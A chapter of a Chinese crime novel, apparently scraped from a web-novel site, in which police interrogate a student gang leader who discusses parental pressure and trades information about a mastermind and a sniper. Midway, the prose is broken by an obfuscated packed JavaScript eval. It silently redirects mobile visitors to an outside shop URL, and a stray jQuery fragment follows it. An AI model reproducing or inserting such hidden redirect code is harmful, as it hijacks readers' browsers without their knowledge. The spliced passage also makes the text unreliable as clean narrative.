“你不是想知道阿山和炎穆帮的事情吗?”
虞瓷将两份文件传给燕逸岫。
燕逸岫急匆匆返回警局时,谭誉道正在劝屏幕那头的姜韫好好休息,恢复期别太劳损心神,审讯有他来负责,不用太担心。
姜韫伤口的恢复状况很不错,但还没到可以下床重返工作继续忙碌的程度。
谭誉道再次打开彭嵘的资料细细读了一遍,做好准备后收起屏幕走进审讯室。
彭嵘坐在椅子上,手腕上仍然戴着手铐,状态放松,没有半点特别情绪,声音懒洋洋的。
“警察姐姐,我记得当帮派老大不犯法吧?我也没犯过偷盗杀人之类的罪,为什么抓我?”
谭誉道无言把陈奥典案的几张照片打开推到她面前。
看到那惊悚的尸体照片,彭嵘有几分茫然,随后才想起来这是什么。
“这不是之前发生在我学们校的那个可怕案子吗?与我有什么关系。”
见她仍然笑吟吟假装不知情,谭誉道也懒得再废话,把这几个月大家找到的证据线索一条条都列给她听。
另一部分线索是她暗地里与几个帮派接触过的痕迹,证据确凿,她爽快地承认了。
但提及陈奥典案,彭嵘对此没什么反应,案发时段没有任何与她相关的证据留存,她想怎么编就怎么编。
她脸上带着笑,一条条即兴反驳,滴水不漏把自己摘出去。
彭嵘目前状态仍然很稳定,不因被拷上手铐关进警局而产生情绪波动,并不容易被撬开嘴。于是谭誉道更换另一项战术,心理战。
他收起照片,低声说道:“陈奥典也是个很优秀的学生,年纪轻轻被残害,实在可惜。能成为好孩子并不容易,对吧?”
彭嵘挑眉,似乎对着没头没尾的话来了兴趣。
“你的父母很严格,对你们要求极高,你的哥哥彭峥受不了巨大的压力,在高二时自尽了。”
“他一走,就只剩下你,原本均摊的负担全部砸在你头上,显然你的心理素质比他更强,一直坚持下来了。”
“你在大学里也是万众瞩目的优秀人才,但是没人知道你从小到大是背负着怎样的压力成为现在的模样。”
彭嵘若有所思地垂下眼帘,倒是愿意和两人聊一聊这个话题。
“不少父母都是这样,对孩子的成功有着疯狂的执著。”
“小学要当最优秀的孩童,高中的目标是要考全国最顶尖的大学,大学更要全面发展,毕业后要找比别人好的工作,还要不断往上爬证明你的优秀,和别人比较资产多少比较职位高低……”
“这种‘进步’什么时候是个头?等到死了?那这一辈子艰辛劳累只做了一件事,就是要得到别人的肯定,那人生有什么意思?”
“孩子许愿大多希望父母一生平安健康,而家长却把无数合理不合理的期待全部丢给孩子代为实现。”
“为什么父母总是这么贪婪,为什么永远对孩子不满意。”
成绩差,要求你考好;考得好了,就要你考第一;考了第一,就让你必须永远保持第一;你保持全校第一,又会被拿来和别校、全省、全国的第一比较;学习没问题,就会开始拿学习外的事情比较,无休无止,望不到头。
就像黑心老板一样,这个月完成业绩,他下个月就提高指标,总之绝不会让人好过。
“区别大概就是家长会说爱你,说自己多用心养你长大,反复念着强调着自己的付出,用一串串话勒住你的脖子,让你窒息让你愧疚,最后只能怀着亏欠遵循父母的期待往前走,不敢停下休息,不敢独自享受一点点幸福。”
彭嵘轻飘飘叹气,不知回忆起什么,手指在桌上画着圈:“我哥就是这样,他很想实现父母的期待,可惜没能成为父母理想中的顶尖人才,被逼得绝望崩溃,最后不想继续往前走了。”
“所以这个监狱一样的家里,被盯着的就只剩下我了。”
说完后,她目光移回望向对面,对于两人露出的同情神色感到好笑:“你们觉得我也是那样凄惨?那就猜错了。”
彭嵘自知称不上天才,但勉强能完成父母越叠越高的目标。
学习拔尖和多才多艺,在哪都能受到瞩目,这些对她来说不是难事。
所以彭嵘从小到大都会作为正面例子被父母用来训彭峥。
有时候她仔细思考,会觉得自己无意中也成了把哥哥逼死的帮凶。
“你们认为我是叛逆期迟发,混入帮派只是为了反抗和报复父母?如果想以此打感情牌,装好人说些理解我的话套近乎,攻破我的心防,那你们恐怕是要失望了。”
彭嵘兴致缺缺地歪头:“解释这种无聊的问题真浪费时间,跟你们没什么好说的……我要跟她谈。”
“谁?”
彭嵘直直看向漆黑的单面镜,笑了笑:“独闯帮派跑来抓我的那个短发女生。”
她知道那人一定就在对面。
“我和她比较有话说。”
“她不是想知道为什么我看得出她有问题吗?那就过来聊聊,解开疑惑。”
燕逸岫顿时懵了,见周围几个警员齐齐投来视线,她慌张地低下头,不知道该怎么办。
她不是专业人员,不懂审讯技巧,当然不能去,万一谈崩惹出什么问题岂不是麻烦了。
“她还有别的事要忙,不在外面,”谭誉道面色不改,“有什么话我们聊就好了。”
然而彭嵘并不是好糊弄的,既然对方不让步,她就开始保持沉默,一个字也不说。
僵持一会儿之后,姜韫在通话那头下了决定。
“让逸岫进去。”
谭誉道皱起眉头,他也怀着和燕逸岫同样的担忧,于是起身暂时离开审讯室到外面和姜韫沟通。
最后他还是答应了,叫上燕逸岫进入审讯室,坐在彭嵘对面。
燕逸岫落座后,按照姜韫的指示,开门见山问道:“不如还是先解开我们的疑惑吧,你说自己不是为了报复父母才接触帮派,那真正原因是什么?”
“为什么你们总要追根究底问为什么,哪有什么事都要说得出缘由才能去做?”彭嵘对这一问题颇为不耐烦,换了个姿势坐,“原因很简单,就是我觉得有挑战,觉得好玩,想体验一把当上首领一呼百应的感觉。”
“对我来说,这只是一群人,我不管她们是什么人,我只想试试我在不同领域的管理能力能达到什么水平。”
她能站上今天的高度,从不是为了让父母满意而努力,而是她自己想成为优秀的人,她对自己好奇,想知道自己的上限到底有多高。
如果父母提出不合理的要求,她自知做不到,就不会去白费力气,随那两人怎么训斥抱怨,她左耳进右耳出,根本不放心上。
能再往上,就继续尝试,无法突破,就放过自己,不被别人的想法绑住,不对别人倾注太多感情和注意力,就不会折磨自己。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690969|142866||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“所以,之后父母知道你成了凶案嫌疑犯,成了帮派老大,会是什么感受,你也不在乎?”
彭嵘摇头,神色平淡。
燕逸岫又问道:“等案子细节披露出来,千万民众都会知道你的事情,包括你的朋友同学,你也不在乎吗?”
“当然,我为什么要管她们怎么想?”
燕逸岫不吭声。从她的表情和放松的肢体动作中能看出她确实没有违心说谎。
燕逸岫不禁有些羡慕。
明明她在所有人眼中是可望不可及的完美榜样,照常理说她应该会更注重自己的形象,可她居然一点都没有心理压力,想干什么干什么。
凭这强大的心理素质,就不知道赢了多少人。
彭嵘凝视着燕逸岫,很快得出结论:“你很在乎别人的看法,是吗?”
燕逸岫板着脸并不直接回答:“不是你审问我。”
彭嵘又换了个姿势,似乎已经耗光耐心:“不如做个交易吧?如果你们答应,我就告知所有我了解的。”
她朝燕逸岫笑了笑:“包括你的疑问。”
“我们怎么知道确定你提供的线索有价值?”
“你们不信我,那就只能凭你们的想法自行判断了,我不是心腹,本来了解就不多。”
燕逸岫示意彭嵘把交易说来听听。
“很简单,放我回学校去,将牵扯到我的暂且压下不公开,”彭嵘靠回椅背说道,“主要是因为我目前参与了几项全国竞赛,带了团队,几个月来大家都为了比赛尽心尽力,我不希望我个人的事情影响比赛,导致她们的努力打水漂,我也想知道结果如何,会得什么名次。”
是个让燕逸岫她们意料不到的要求,不过确实符合彭嵘本人的个性。
凶杀案没有决定性证据指向她,彭嵘并不担心,但帮派的事暴露已经是板上钉钉,会传多少出去很难说,她不能冒这个风险,拿自己的研究成果去赌任何可能性。
最后,得到姜韫相应指令后,燕逸岫和谭誉道答应了这一交易,双方签署协议。
“我不知道那人是怎么发现我是帮派首领的,有一天他突然发信息给我,想要与我合作。”彭嵘签完字就慢悠悠开了口。
“他不仅挖出我的身份,而且还猜出了我的性格,我一度怀疑他是我的某个朋友。”
“我觉得他很有意思,人活一世,能遇到个懂自己真实面目的人可不容易,我也对他的计划感兴趣,于是就答应了合作。”
彭嵘不知道对方叫什么,长什么样,是什么身份,毕竟她和对方接触交流不算久,也不是心腹,没有那么轻易能见到幕后真正操控一切的神秘人。
“我只知道他的代号——礼拜。很奇怪的名字对吧。”
“那你曾和组织里的什么人见过面吗?”
彭嵘仔细回忆一遍,确定自己这么久以来只跟对方的一个手下接触过。
“一个狙击手。”彭嵘说道。
那时她接到了一个暗杀目击者的的任务,由她负责引被害人到指定位置,制造出时间差,为另外几人做好不在场证明,而狙击手则守在楼上,瞄准被害者准备来个爆头,尽快完成任务。
“如果我没听错的话,她叫日月。”
燕逸岫等几人听到彭嵘提及狙击手,一下子想到了当初那个背着高尔夫球袋的女人。
她就是个狙击手。
谭誉道紧接着追问:“你记得她长什么样吗?”